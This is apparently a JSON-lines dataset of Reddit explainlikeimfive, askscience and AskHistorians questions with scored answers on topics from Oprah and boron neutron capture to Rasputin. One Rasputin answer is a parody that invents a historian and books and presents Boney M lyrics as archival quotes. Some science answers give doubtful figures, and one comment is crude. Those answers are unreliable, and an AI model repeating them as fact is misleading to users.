{"q_id": "17dj2f", "title": "oprah and why people think she's so amazing", "selftext": "If you need clarification, I'll explain.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/17dj2f/eli5_oprah_and_why_people_think_shes_so_amazing/", "answers": {"a_id": ["c84jszx", "c84jwuo"], "score": [10, 39], "text": ["Her story is pretty amazing, she had a crappy childhood, but worked hard and so on. She's used her show to talk about good causes, like helping people with illnesses. On top of all that she is considered an effective interviewer, businesswoman, and marketer.", "I think she's amazing.\n\nI find her backstory incredibly amazing. She was born in abject poverty to an unwed teenaged mother in Mississippi. She was sexually abused as a child and became pregnant herself at 14. She was passed around from home to home and was a runaway for a while. I think it's amazing that she overcame incredible odds and broke the cycle of poverty to get where she is today.\n\nOprah was so poor growing up that she didn't even own a pair of shoes until she was 6. She was also really smart. In kindergarden, she wrote her teacher such a well written letter asking to be allowed to skip the first grade, that the teacher agreed. She would eventually also end up skipping the 3rd grade. \n\nI think if people knew more about her background, they'd have more respect for the fact that she essentially accomplished the Horatio Alger \"up by your bootstraps\"  narrative.  She basically achieved everything she has through her own hard work and education. \n\nI think if most people heard this life story from an anonymous Redditor, most people would think that person was pretty amazing. \n\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3s0zgd", "title": "how is the united states able to bomb a hospital, and then shoot any fleeing people, and not have any repercussions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3s0zgd/eli5_how_is_the_united_states_able_to_bomb_a/", "answers": {"a_id": ["cwt16pw", "cwt1aau", "cwt1crb", "cwt29v9", "cwt3hcf", "cwt3xux", "cwt5r13", "cwt6250", "cwt7asv", "cwt9a0k", "cwtm9lx", "cwtokmj"], "score": [2, 60, 5, 4, 40, 11, 704, 2, 2, 32, 5, 2], "text": ["Would you care to cite the incident in question? Like a link to a news story? Not aware of what event you are talking about.", "It's a war crime to *intentionally* bomb buildings exclusively being used for medical treatment and the like. But in war, misinformation and accidents are common, which is what occurred here. Just because something is tragic does not make it a crime.", "If the enemy has weapons and is occupying a hospital it is no longer a hospital, it is a bunker and can be attacked.", "Because the US did it, that's why. He who has the power controls the narrative. War crimes charges are for other countries. Plus, the US is not signatory to the ICC.", "Power and politics. Most politicians today don't think in terms of \"was that right or wrong\" but instead \"what are the repercussions of me doing this?\" They're pragmatists. You basically have to be to get elected in a democracy these days (just ask Rand Paul). They've assessed the situation and realize they don't stand to gain anything personally, nationally or globally by going after the United States for something like this. They might condemn it to mollify their outraged constituents, but the US knows that's just posturing. Actually going after the US for war crimes would be a different thing entirely. It would seriously damage relations and likely wouldn't result in anything worth that. \n\nIt might be a violation of international law, but the law is only the law to the extent it can be enforced. Love it or hate it, most Western European countries realize that they could do far worse than having the United States as the world's most powerful country. What's the alternative, go buddy up with China? Russia?", "What \"not any repercussions\" ?  It's a big story worldwide, there is outrage, there are investigations, Doctors Without Borders is trying to refer it to some UN courts.", "The world operates in shades of grey not black and white. What did the US have to gain from bombing a hospital? Absolutely nothing. They had a lot to lose actually. So common sense would lead us to the conclusion that what occurred wasn't intentional and thus not the same as outright intentional murder of non combatants.  Should people be held responsible?  Yes. Should the process for clearing fire missions be reviewed? Yes. It no doubt already has been. Does this event somehow prove that the United States is out to murder innocent people for the fun of it?  No. Does it prove that the US is above the law? No. Crap happens in combat zones. War sucks.", "Who the hell will tell them not to? \n\nThat's like asking why chihuahuas don't pick a fight with a Rottweiler for eating one of them.", "I don't know much about this incident but why was a hospital treating Taliban fighters? We're they treated and simply released or treated as a POW or go to trial, etc? \n\nSecond, isn't Afghanistan allies notorious for giving false and corrupt information in order to take out economic or tribal rivals? \n\nThird, isn't friendly fire an unfortunate yet common occurrance in war zones? \n\nWhat evidence is there that A) Taliban were not covertly or overtly using the hospital to operate? (Seems like a plausible tactic to stay safe) B) that bad intelligence didn't prompt the attack and C) that the attack was intentionally maliciously done on an innocent hospital...and if so, for what purpose? \n\nEdit: I'm just asking for more information, I don't know enough at this point to make any informed decision about the incident.", "It is a war crime to *knowingly and deliberately* fire upon a hospital. It is not a crime to *unknowingly* or *accidentally* fire upon a hospital. (It is also not a crime to fire upon a building that says \"hospital\" if it is not being used as a hospital; likewise, it *would* be a crime to fire upon another building that had been turned to medical use even if it were not formerly a hospital).\n\nWe don't know exactly what happened in this case, and we won't for some time yet. Multiple parties (not just the U.S.) are going to investigate. But what probably happened is that the individual who gave the order to fire was not aware that the building was an active hospital. That's not a war crime, merely an awful, horrifically tragic fuck-up.", "Because there is only one international law and it hasn't changed in 25 centuries: The strong do what they can and the weak suffer what they must.", "Oh my god, my dad is a Sunday school teacher (catechist) and whenever he's training the kids for confession, they always think up the most preposterous sins. \"I PUT A BOMB IN MY DAD'S TRUNK\", \"I SLAPPED MY MOTHER AND KICKED HER DOWN THE STAIRS\", \"I SHOT GEORGE BUSH 43 TIMES\", but the worst one will always be \"I DROVE A TRAIN INTO A HOSPITAL\" "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1zc5ub", "title": "Why is Boron good at absorbing Neutrons? I know that in a partial Nuclear Meltdown a mix of sand with high levels of Boron is dropped onto the core, but why Boron?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1zc5ub/why_is_boron_good_at_absorbing_neutrons_i_know/", "answers": {"a_id": ["cfsg939", "cfsguwt", "cfshdo5"], "score": [4, 11, 2], "text": ["Because it has a large cross section for neutron capture. If I remember correctly, boron captures a neutron and decays to lithium and an alpha particle.\n\nIt's just one of those things that happens. You can more or less show how it happens if you calculate the cross sections of different elements. For boron it happens to be quite high.\n\nedit: the neutron cross section also depends quite heavily on the energy of the neutron, so boron is probably quite suited to the typical energy scales found in certain types of reactors (e.g. slow/fast neutrons).", "Boron-10 (specifically) has a high neutron capture cross section; this means there is a high probability that B-10 will pick up a neutron as it collides with the nucleus. This probability changes with the energy level of the free neutron in question, where B-10 has the highest chance to pick up slow (thermal) neutrons.\n\nTo answer why one must consider the stability of the nuclide before colliding with a neutron.\n\nB-10 has 5 neutrons. Similarly to electrons, nucleons follow a shell model, although it is different for the nucleus of an atom. Paired neutrons (and paired protons) are favorable and lower the energy of the nucleus. This means an even number of neutrons is more stable than an odd number of neutrons, as in B-10. When B-10 picks up a neutron it becomes B-11, which has 6 neutrons, making the nucleus more stable. Because of this extra stability, B-11 makes up about 80% of all natural boron. If B-11 were to pick up a new neutron it would again have an odd number of neutrons (B-12), and would increase in energy. B-12 is not a stable nuclide; in fact, a single neutron in B-12 will decay into a proton, electron, and an anti electron nutrino with a half life of 22 miliseconds. To further demonstrate the difference between the two probabilities, B-10 has a capture cross section of 0.5 +/- 0.1 barns (common unit for this measurement), while B-11 has a cross section of 5.5 +/- 3.3 milibarns. So B-10 has a capture cross section almost one hundred times that of B-11 (_URL_0_)\n\nThis mode of decay, termed beta minus decay, occurs when a nucleus has too many neutrons compared to protons. All isotopes of boron above B-11 have a neutron:proton ratio that is too high, and they all decay through this method. This means it doesn't matter if these heavier isotopes have an even or odd number of neutrons, they are going to decay.\n\nBut because both B-10 and B-11 are stable, B-10 may pick up a neutron and lower in energy without decaying. There are no negatives to this nuclear reaction, therefore it has a high chance of occuring, unlike the reaction B-11 + n - >  B-12\n\nSimilarly to how electron shells have magic closed shell numbers (think nobel gases), so do nuclear shells. This does not concern the B-10 - >  B-11 nuclear reaction, but it does govern the neutron capture cross section for other elements. If a nuclide has a magic number of neutrons, it will have a very low chance to pick up another (similar to the low reactivity of nobel gases). If a nuclide has n-1 magic number of neutrons, it will have a very high chance to pick up another neutron (similar to the reactivity of the halogens).\n\nSo, analogous to electrons, one must consider the stability of the nucleus before and after picking up a neutron to determine if the process will be highly favorable, or unlikely to happen.", "Some examples of neutron absorbers include boron, (used in bwr control rods, and also used as a liquid poison for PWRs for normal operation and bwrs for extreme emergencies only), gadolinium (installed in fuel as a built in poison to prevent new fuel from being depleted too rapidly, allows 2 year fuel cycles), silver-indium-cadmium (used in many PWR control rods), hafnium (used in some bwr and PWR control rods, known for its ability to perform several neutron absorptions per unit prior to depletion). \n\nThere are also poisons that build up in the fuel during operation such as samarium and xenon. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://cds.cern.ch/record/747981/files/34020739.pdf"], []]}
{"q_id": "5gj43c", "title": "what is activex?", "selftext": "Researching hasnt helped me much since the terminology used is out of my knowledge. \n\nBasically, im wondering what ActiveX is, how it works, and why its being discontinued. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5gj43c/eli5_what_is_activex/", "answers": {"a_id": ["dasoa28"], "score": [8], "text": ["ActiveX was a way of allowing programs to run as embedded objects in Microsoft Internet Explorer.\n\nThe problem is, that's a massive horrible security risk and only works on Microsoft Windows.\n\nIf your on a Mac, your SOL. If your using Chrome, Firefox, Opera, or any other browser under the sun that isn't Internet Explorer, your SOL. If the applet has an exploit that can allow itself to run, you're really SOL since it's essentially the same as running a random program on your computer that could be a virus.\n\nJava has had similar security problems, but it works fine in any browser and platform. This is why Oracle is trying to kill Java in the browser."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2t7spp", "title": "Can someone explain the difference between a CMOS and a CCD camera sensor transistor?", "selftext": "I get a lot of the practical differences but what's the actual difference in shape/gate location/source/drain/anything else? I get the electron excitation from the photoelectric effect which I believe is at the surface and can fill the gap in the depletion region, but is that all there is to it or is it more involved for CMOS?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2t7spp/can_someone_explain_the_difference_between_a_cmos/", "answers": {"a_id": ["cnxa3c7"], "score": [2], "text": ["I'm not sure the level of details you are looking for, so let me know if you want lower or higher level stuff.\n\nIn short, a CCD image sensor is a analog device consisting of an array of photosensors (typically photodiodes) which essentially convert light intensity to current, and light shielded regions of silicon that are capable of storing the current as charge (e.g. be a capacitor) or transfer the charge they stored to a neighbouring element (allowing reading out the array off to the side). This is accomplished by applying a voltage waveform to an elaborate metal layer -- creating and joining electron wells. There is very few transistors in a typical CCD and typically none in the pixel array itself -- it's all diodes and capacitors basically.\n\nA CMOS APS on the other hand typically has an array of photosensors (also mostly photodiodes) that also store their current as charge in a floating diffusion, but then the similarities mostly end. Unlike the CCD, the CMOS sensor will  have a few transistors per pixel from 2.5 (5 shared between pairs) to dozens (these are rarer). The transistors perform different functions such as resetting the floating diffusion, transferring charge, etc. One important transistor that IIRC is always present is the source follower that converts the charge stored in the floating diffusion (or storage node in global shutter pixels) to a voltage on the readout line. \n\nThe process also allow digital circuitry and the ADC to be on the same die as the sensor for CMOS, while this is a lot trickier with a CCD.\n\nTLDR Version: A CCD image sensor integrates photons as charge, and transfers the charge across the array for readout by manipulating electron wells in the silicon. A CMOS image sensor integrates photons as charge, and for readout, converts the charge to a voltage with an in-pixel transistor, which is read directly (by peripheral circuitry) using a pixel output metal line that is shared by its column.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4r301j", "title": "what is happening-biologically speaking- when you get a dead leg?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4r301j/eli5_what_is_happeningbiologically_speaking_when/", "answers": {"a_id": ["d4y1vzp"], "score": [7], "text": ["A \"dead limb\" is both numbness as well as a \"pins and needles\" tingling sensation. \n\nThe root cause is compression of the nerve (focal nerve compression) OR blood supply (focal or generalized ischemia), causing inappropriate supply of, or removal of, chemicals used to generate signals (action potentials) which normally indicate a sensation. The inappropriate buildup of these products causes a signal to be fired at a time when no stimulus is actually present. \n\nIf the episode is due to nerve compression, there will be one prolonged episode of paresthesia, whereas in cases of ischemia, there will be two separate episodes hypothesized to pertain first to levels of Na+, then to levels of K+.\n\n[source](_URL_0_)\n\nAlso see A STUDY OF POST-ISCH\u00c6MIC PAR\u00c6STHESI\u00c6 by\nW. R. Merrington and P. W. Nathan, J Neurol Neurosurg Psychiatry. 1949 Feb; 12(1): 1\u201318."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.quora.com/What-is-the-underlying-mechanism-that-causes-paresthesia-aka-the-pins-and-needles-sensation"]]}
{"q_id": "1dqltr", "title": "What factors decide what materials are good at dampening and reflecting sound?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1dqltr/what_factors_decide_what_materials_are_good_at/", "answers": {"a_id": ["c9swhau", "c9swrg0"], "score": [2, 2], "text": ["Materials have something called acoustic impedance, which is the product of the density of the material and the speed of sound in it and is sort of like electrical resistance but for sound. Sound travelling from one medium to another is reflected according to the relative acoustic impedances. If the second material has a much higher impedance than the first (or vice versa), the reflection will be high.", "See [this page](_URL_2_) for explanations of wave transmission and reflection.\n\nEssentially, the speed of sound is different for every material. Explicitly, you can determine the speed if you know the stiffness (k) and density (\u03c1) of the material using:\n\nc = sqrt (k/\u03c1)\n\nNow whenever there is a boundary between two different materials, the reflection and/or transmission depends on which one is stiffer and/or denser.\n\nFor example if sound is going from a low density to high density material, you will see something like [this](_URL_0_). Conversely, going from high to low density will do [this](_URL_1_).\n\nBasically, if you have an infinitely dense and stiff material, a compression wave will be reflected back as a compression wave of equal magnitude in the opposite direction. For a perfectly soft material, a compression wave will reflect back as a tension wave in the opposite direction. For a real life material, since it is neither perfectly stiff nor soft, part of the wave will transmit and part will reflect."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.acs.psu.edu/drussell/Demos/reflect/reflect1.gif", "http://www.acs.psu.edu/drussell/Demos/reflect/reflect2.gif", "http://www.acs.psu.edu/drussell/Demos/reflect/reflect.html"]]}
{"q_id": "zaa8k", "title": "What is causing my ground coffee to pick up static electricity as it's being ground?", "selftext": "I buy whole bean coffee and grind when I need to.  I've been using the same 2-2.5 lb bags from Costco for years.  Strangely, the current bag of beans likes to get all clingy to the sides/lid of the grinder as its ground and it makes for a mess when it's time to remove the lid.  For all I know, the static charge is in the beans before I grind, but obv. it doesn't make itself apparent till the coffee is in a ground state.\n\nWhat causes this?  Is there anything I can do to prevent it/reverse it?\n\nTIA.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zaa8k/what_is_causing_my_ground_coffee_to_pick_up/", "answers": {"a_id": ["c62ucjn"], "score": [3], "text": ["This particular package of beans is most likely a little drier than usual, thus making the beans receptive for the [Triboelectric effect](_URL_0_) while being ground. \n\n\n\nIt's the same effect that causes the balloon to stick to the wall or what makes the doorknob electrocute your hand in winter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Triboelectric_effect"]]}
{"q_id": "87sd80", "title": "How does having more trees on a hillside help to prevent landslide?", "selftext": "I've heard some explanation long time ago about the roots \"holding on\" to the soil, what is the exact mechanism? I don't suppose the roots have any sort of \"grip\" in the conventional sense.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/87sd80/how_does_having_more_trees_on_a_hillside_help_to/", "answers": {"a_id": ["dwf63w6"], "score": [20], "text": ["Understanding the role of vegetation might be clearer with a basic understanding of what goes into [slope stability analysis](_URL_2_), but there is a pretty good [wiki](_URL_1_) article on the specific role of vegetation on slope stability. There are two main ways in which vegetation increase slope stability. The first is through mechanical reinforcement of slope material by roots. Within that, we can consider roots as generally increasing the cohesion of the slope material (e.g. [here is an analysis](_URL_0_) of the influence of vegetation, specifically focused on increases in cohesion, on slope failure), but also the effect of roots growing across planes of weakness (and strengthening, making them less likely to fail) which could serve as potential failure planes. Another important role of vegetation in increasing slope stability is through removal of water. Pore pressure from water can lower the strength of slope material, and thus plants removing water through transpiration can increase slope stability. \n\nAs the wiki article mentions, things like tree throw and vegetation mass can also decrease slope stability, so it's a complicated relationship. Also, as discussed in the paper I linked to, vegetation is largely only relevant for shallow failures and has limited influence on deep seated landslides that occur on failure planes well below the influence of plant roots."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://digital.library.adelaide.edu.au/dspace/bitstream/2440/29278/1/hdl_29278.pdf", "https://en.wikipedia.org/wiki/Vegetation_and_slope_stability", "https://en.wikipedia.org/wiki/Slope_stability_analysis"]]}
{"q_id": "1ghg8h", "title": "What are your answers to Yali's Question?", "selftext": "I'm currently reading the book Guns, Germs, and Steel and I believe I know what Mr. Diamond may be suggesting to. I think that he believes the overall climate of the part of the world the past humans lived in determined the reason some have more or less. Do you agree with Mr. Diamond. If not, why? What do you think the answer to Yali's Question is?\n\nPersonally I believe it was because of the ability to change the status quo, have the balls to go across this damn ocean and the curiosity to climb over this large rock with trees.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ghg8h/what_are_your_answers_to_yalis_question/", "answers": {"a_id": ["cakevkz"], "score": [3], "text": ["For the sake of debate, I guess I don't mind taking a first position - I am happy to be disagreed with, as I've found my views on this shifting over time.\n\nFor now, I tend to view Jared Diamond's geographic preconditions as necessary to explain a great deal of the variation in global variation in income per capita, but not sufficient to explain all of it.\n\nTo elaborate, no New World (the Americas and the Polynesian Pacific) society has managed to survive an encounter with an Old World society unscathed - you can put this down more or less precisely to the guns, germs and steel of Diamond's book. You can probably also squeeze the story of sub-Saharan Africa into that mold.\n\nYou will help me here, it's been a long time since I've read the book, but my understanding is that the flora, fauna, land contiguity and east-west orientation of Eurasia all helped kickstart a positive feedback loop in terms of social development, starting with the adoption of settled agriculture; Diamond probably places as key among these the domestication of animals for agriculture and food (from which we received the curse of Diamond's \"germs\" - our modern epidemic diseases, smallpox, TB and the like, an unintended blessing only when it came to their role in the Colombian exchange). The growing scale of surplus from specialized farming and increasing population densities led human groups in Eurasia into conflict with their neighbors, encouraging the emergence of societies who could not only innovate but also finance and equip specialists in violence (Diamond's \"guns\").\n\nSo far so good, if you're squinting as one must to write theories of global history this ambitious; it narrows down quite neatly the list of possible candidates for world domination to a select few world regions.\n\nThere remains the question of understanding the emergence of Western Europe over rival regions (broadly, the Mediterranean Middle East, South Asia, and East Asia) over the last 500 years. I don't know how much I believe Diamond's geographic determinism here - his argument is essentially that the political fragmentation of Europe, relative to the centralization of India and China, led to a more intense competitive dynamic that explains its takeoff in the last 400 years or so into world domination via imperialism and industrialization (Diamond's \"steel\").\n\nTo my mind, this is more room to argue here. India has not in fact had a long history of political unity, even under the Mughals, and one could just as well make arguments about the \"inwardness\" of Chinese or Muslim Arab societies (though I'm not sure they'd be correct). In other words, with this few contenders left in the game, a lot of other arguments work, revolving around political institutions, cultural/religious norms, legal heritage, etc. etc.\n\nFinally, I should note there's a corollary to Yali's question - among the parts of the New World settled by Europeans, why is there so much divergence in outcomes? Just compare Australia and the United States with Haiti and Peru. \n\nYou can convince yourself of two stories here: one is that those places fortunate enough to be settled by the English, and blessed with the glorious Anglo-Saxon heritage of property rights, common-law and the rest, took off, whereas the Spanish, Portuguese and French colonies all suffered.  This is fairly plausible, right? Think of the Yanks, the Canucks, the Aussies and the Kiwis, all good chips off the old block - and look at what the Portuguese and Spanish managed to do to Latin America between the two of them over a good couple of centuries.\n\nThe opposing argument is these very outcomes were shaped by initial factor endowments - the English arrived in New England, abundant in land, scarce in labor and unsuited to labor-intensive agriculture: so they made a lovely little version of home to attract immigrants (and indentured servants). The English also arrived on multiple Caribbean islands, scarce in  land and labor, but well-suited to labor-intensive cash-crop agriculture (sugar, tobacco) - and they set about importing slaves and creating vastly unequal political structures that persist into the present, with elites dominating a large impoverished population. (If you buy this, think about which of the two models fits the antebellum South better, and why it might be a little silly in retrospect to give the English too large a halo in world history.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b801r4", "title": "How justified was Rasputin's fame of being Russian Greatest Love machine? Was it just mud slinging?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b801r4/how_justified_was_rasputins_fame_of_being_russian/", "answers": {"a_id": ["ejv68qd", "ejv7uvy"], "score": [107, 53], "text": ["Modified from [an earlier answer of mine](_URL_4_)\n\nRasputin's enduring popularity and interest is partly a function of who he was and his perceived impact on the decline and fall of the Romanovs. The ascent of a peasant monk into the upper-reaches of tsarist autocracy were dramatic enough, but legends of Rasputin's sexual conquests and drunken bacchanals added a further layer of fascination to the man. Finally, the mysterious circumstances of his death added an allure of mystery to a man who allegedly brought the high down low. \n\nThe problem is that the legend of the man has greatly overshadowed his actual historical role and importance. Rasputin's actual influence on the court was relatively negligible. Rasputin had come to the attention of the imperial couple in the aftermath of the 1905 Revolution. This timing was rather important because the Revolution had underscored the importance of religion as one of the few venues left that elevated the autocracy and Rasputin gained access because he was one of a number of holy men the imperial house saw. Rasputin had came to the attention of St. Petersburg society by virtue of Olga Lokhtina, a wife of one St. Petersburg official and a formidable hostess of one of the city's salons. Lokhtina claimed that Rasputin had cured her of her various ailments and asserted despite his peasant manners, he was a true man of the people and a holy man. Once inside Tsarskoye Selo, Rasputin had some sway on the Tsarina, but Alexandra had limited power. Her German background was the subject of much negative aspersions during the war and her connection to this mystic added further credence that she was plotting to undo the Romanovs from within. A good majority of the Russian court saw him as a disreputable peasant social climber who attracted an unsavory element within the court.  Rasputin's drinking binges and sexually-charged parties were both real, but also grew in their retelling in Russian court gossip. Such gossip also cast Lokhtina, and sometimes even Alexandra (who in previous gossip had been cast as a lesbian) as one of Rasputin's conquests. While it is highly questionable whether he slept with the Empress, he did manage to seduce a number of high-born women. His access to the Tsarina meant that some ambitious hangers-on did try to curry favor with him, whether through money or sexual favors. These bribes backfired and Rasputin was seriously injured by a jilted female assassin on 29 July 1914, the day after the assassination of the Archduke Franz Ferdinand. \n\nNicholas II did not like Rasputin personally, but humored him for his wife's sake and the fact that he seemed to have some control over Alexei's hemophilia. The Emperor also occasionally used Rasputin as an envoy, but Nicholas II tended to keep the holy man at arms' length. One of the most salient pieces of evidence for Rasputin's limited influence was that he always opposed Russia's entry into the war. That said, rumors of Rasputin's debauchery helped to sap the monarchy of its prestige and moral authority during a particularly acute time in Russian history. Before and after his death, many came forward to claim that Rasputin really ruled Russia, but this was largely a combination of scapegoating and scandal mongering. Pamphlets detailing the sexual degeneracy of Alexandra and Rasputin were huge sellers in the post-February popular literature when much of the censorship apparatus was dismantled. Even though Rasputin was assassinated the year prior to 1917, the tales of what it took to allegedly kill the man (poison, shooting, and drowning) added to his mystique.  Thus while Rasputin the man had very little influence, his image had greater sway.\n\nA number of Russian elite emigres from the Revolution and Civil War helped push Rasputin's villainy into non-Russian circles through memoirs and other media items. Films like MGM's [*Rasputin and the Empress*](_URL_0_) portrayed him as the power behind the throne, sapping Russia's strength. At the climax of this particular film, after Rasputin is poisoned , he warns that \"If I die, Russia dies,\" hinting that he helped bring about the tumultuous events of 1917. As exaggerated as they are, such tales helped to explain the Russian Revolution in a manner that denied the Bolsheviks any real agency or legitimacy. This interwar picture of Rasputin helped to build up his mystique as someone in touch with the dark arts and hypnotic command over people. This tendency to emphasize his alleged dark powers only grew as the events of 1917 faded in popular memory. \n\n The [colorized, bearded image of Rasputin](_URL_9_), complete with fiery eyes and massive beard, along with embellished tales of his debauchery and resistance to death, have made him a somewhat iconic figure in popular culture. As such, the historical figure has merged with the mystical and supernatural.  The man was a symbol used for the goth metal band Type O Negative's album [*Dead Again*](_URL_1_) whose inside cover replicates Rasputin's autopsy information. On the other end of the musical scale, the disco group Boney M's minor hit [\"Rasputin\"](_URL_3_) (warning super 70s in that link) recapitualted many of the myths about the man such as been the Empress's lover and was \"Russia's greatest love machine.\" Alternatively, on tv, Rasputin has been [a vampire](_URL_7_) or [the lover of a vampire](_URL_6_). In the 1997 animated film [*Anastasia*](_URL_5_), he was a wizard/lich, while in the [*Hellboy* comics](_URL_8_) he is a warlock compatriot of the folkloric witch Baba Yaga and a ghost.  \n\nAs this sample indicates, Rasputin is not exactly hated in contemporary culture, but rather has become a stock historical villain in supernatural fiction. These tropes co-opt preexisting images and details about Rasputin's life and add elements of the supernatural to them, all while taking all the many rumors about him as a given. It is important to realize though that while Rasputin was a somewhat immoral figure, he did cultivate some of this mystique himself. Images like the 1906 photograph or others which showcase his Charlie Manson-esque eyes and unkempt beard were part of his self-presentation and public persona as a true holy man from the provinces as opposed to the effete and Westernized St. Petersburg high society. The class distinction is apparent in numerous photos of him in Russian high society, such as [this one](_URL_2_).  By being such an anomalous figure, he stood out from many of his contemporaries who also curried court favor. Rasputin's success at gaining such favors was reason enough for a number of St. Petersburg elite to hate him, he need not be an immortal sorcerer vampire ghost to elicit  such opprobrium among his contemporaries. ", "Though quite old historiographically, [Robert Farrell's] (_URL_0_) work on early 20th Century Russia and the late Romanov era, written in 1978, remains the most interesting and detailed discussion on the power of Rasputin and his legacy within Russian cultural memory.\n\n\nFirst, we should consider the relationship between Rasputin and the Russian Queen, whom Farrell argues to be his 'lover'. I would dispute this point- the relationship was rather one sided, as it seems as though he heavily manipulated Tsarina Alexandra Feodorovna in order to supercede the power of the Tsar. Farrell notes that \"She believed he was a holy healer who would heal her son\", a trust that would allow him significant access to governmental decision-making and other women of the Romanov court. There is also significant detail of \"his drinking and lusting and his hunger for power\", culminating in him having \"ruled the Russian land and never mind the Tsar\". In this sense, the highlighting of Rasputin for his lust, manipulation and trickery, rather than his (arguably skillful) entry into influence over the Russian Royal Family, is likely an attempt to salvage the reputation of the Romanov dynasty.\n\nThough this official account of his activities notes these characteristics as negative, an examination of accounts from average Russians of interactions with Rasputin reveals a very different picture. Farrell was granted special access to archives in Moscow when researching for this book, and was able to examine hundreds of diaries written by women during the years building up to the First World War. In contrast to the official portrayal of Rasputin as lustful and manipulative, these diaries suggest an atmosphere of admiration and even adoration amongst the Russian people. For instance, one account written in 1911 describes Rasputin rather poetically- a man \"full of ecstacy and fire\", with \"a flaming glow\" in his eyes. Others note that he was \"the kind of teacher women would desire\". There is also an account from a German aristocrat visiting St. Petersburg in 1912, who describes his skill at dancing the Kazachok as \"really wunderbar\". This presents us with an alternative to the official narrative- to many, Rasputin was revered for his supposed charm, charisma and skill. From this, we can suggest that (even despite the use of these characteristics to detract from his ability to gain access to the Romanov court) there was indeed some truth to the claim of Rasputin being \"Russia's greatest love machine\". All, from the lowliest peasants to the Tsarina herself, found themselves charmed by his presence, and it is unsurprising that many therefore chose to portray him as \"a cat who really was gone\".\n\n\nFor more information, I recommend reading the whole of Farrell's work:\n\n\nFarrell, *A Shame How He Carried On: Rasputin, the Romanovs and the Russian State, 1869 - 1921* (Berlin: Hansa, 1978)\n\n\nI also recommend Farrell's more recent study into Ancient Mesopotamian society, *By The Rivers of Babylon*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.tcm.com/tcmdb/title/388/Rasputin-and-the-Empress/", "https://images-na.ssl-images-amazon.com/images/I/61M6x8lsCIL.jpg", "https://longreadsblog.files.wordpress.com/2016/04/grigory_rasputin_with_his_followers.jpg?w=728", "https://www.youtube.com/watch?v=OBXRJgSd-aU", "https://www.reddit.com/r/AskHistorians/comments/4qu65l/why_diddo_people_hate_rasputin/", "https://www.youtube.com/watch?v=Ocm8QdNR_d8", "http://buffy.wikia.com/wiki/Nostroyev", "http://www.imdb.com/title/tt0581648/", "https://en.wikipedia.org/wiki/Grigori_Rasputin_(Hellboy)", "https://upload.wikimedia.org/wikipedia/commons/9/97/Grigori_Rasputin_1916.jpg"], ["https://en.wikipedia.org/wiki/Bobby_Farrell?wprov=sfla1"]]}
{"q_id": "4nzx1t", "title": "what causes that sunscreen smell in everything with an spf?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4nzx1t/eli5_what_causes_that_sunscreen_smell_in/", "answers": {"a_id": ["d48itkb", "d48o88e", "d48p8wm", "d49fg6v"], "score": [2, 8, 9, 2], "text": ["Sunscreen usually contains some kind of aromatic compounds to absorb the UV-light, some of these aromatic compounds also have smells, I can't say exactly which one smells like SPF but I would imagine it be either the aromatic they put in or some of the Derivatives of the degraded compound.\n", "Most sunscreens have titanium and/or zinc oxide, that's probably what you are smelling.", "Opaque things all have high SPF. Paper. Bricks. Mountains. Pigeons. MDF. Sheet metal. Disappointment. The Future.", "Am I the only person that loves the smell of suntan lotion? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "8kgaf2", "title": "how do women with very long nails wipe?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8kgaf2/eli5_how_do_women_with_very_long_nails_wipe/", "answers": {"a_id": ["dz7mrdp", "dz7rrr4"], "score": [6, 2], "text": ["I've asked a woman with extremely long nails this same question and she told me she wraps the toilet paper around her fingernails and uses the basic swiping motion. \n\nWhether or not this actually gets the person clean is another story.", "Thank you for this post. Somehow this is something I've never thought about, despite the fact that I like watching women wipe."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
